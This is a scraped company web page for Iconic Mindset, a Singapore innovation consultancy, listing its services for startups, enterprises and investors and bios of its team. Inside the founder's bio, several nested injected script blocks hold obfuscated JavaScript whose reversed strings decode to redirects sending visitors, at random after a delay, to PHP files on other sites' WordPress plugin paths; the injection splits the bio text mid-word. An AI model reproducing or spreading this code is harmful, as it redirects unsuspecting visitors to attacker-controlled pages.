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We partner with Startups on their Product-Market Fit discoveries and GTM Strategies, while ensuring their capital needs are met via Investors to be able to invest in the market and drive growth

Singapore - February, 2020: Modern office building.low angle view of skyscrapers in city of Singapore.


Investing in Innovation through crisis is crucial for Enterprises. We help Enterprises on their Innovation Charter and Digital Transformation Roadmaps, while mapping curated solutions that help leapfrog.

Financial advisor with colleague


We partner with Investors and help them find great investment opportunities and assist them in their exit strategies to unlock capital, by mapping potential M&A opportunities.

Iconic Mindset was founded in 2018 with a laser-focused mission to bridge the Enterprise – Startup gap and help Enterprises access innovative solutions from Startups, while helping Startups strategize their Product Fit and GTM (Go-To-Market) Execution.

Investors play a crucial and strategic role in enabling the Startups financially to invest in the market of their right fit, to grow and scale.

The picture explains the trifecta of stakeholders we partner with and the way we connect each stakeholder with others.

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Service Portfolio

Iconic Mindset offers consulting and advisory services to its Customers


  • Innovation-as-a-Service
  • Digital Transformation Programs
  • Curated Solutions
  • Workshops
  • Speaking


  • Product-Market Fit
  • Market Definition
  • GTM Strategy
  • Sales Coaching
  • Fundraising Prep


  • Theme Alignment
  • Curated Startups
  • Due Diligence
  • Exit Strategy

Meet “The Iconic Crew”

The crew members have played diverse roles from C-Suite, Business Head, GTM Strategist to Head of Innovation at Global Fortune 1000 companies.

Mitchell Halpern

Senior Innovation Strategy Executive

Mitchell Halpern

Senior Innovation Strategy Executive
<b>  Senior Innovation Strategy Executive</b>

Anand Muralidaran

Founder and CEO

Anand Muralidaran

Founder and CEO
25 years of Expertise, Counsulting, Sales, Marketing and Partnership Experience Partnered on strategic Digital initiatives & drove Innovation for Global Fortune 1000 cus<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tomers like Walmart, News Corp

Soon Yu


Soon Yu

International Speaker and best selling author of <strong>ICONIC ADVANTAGE</strong> Featured often on <strong>WSJ, NYT, Forbes, Fortune</strong>, Entrepreneur publications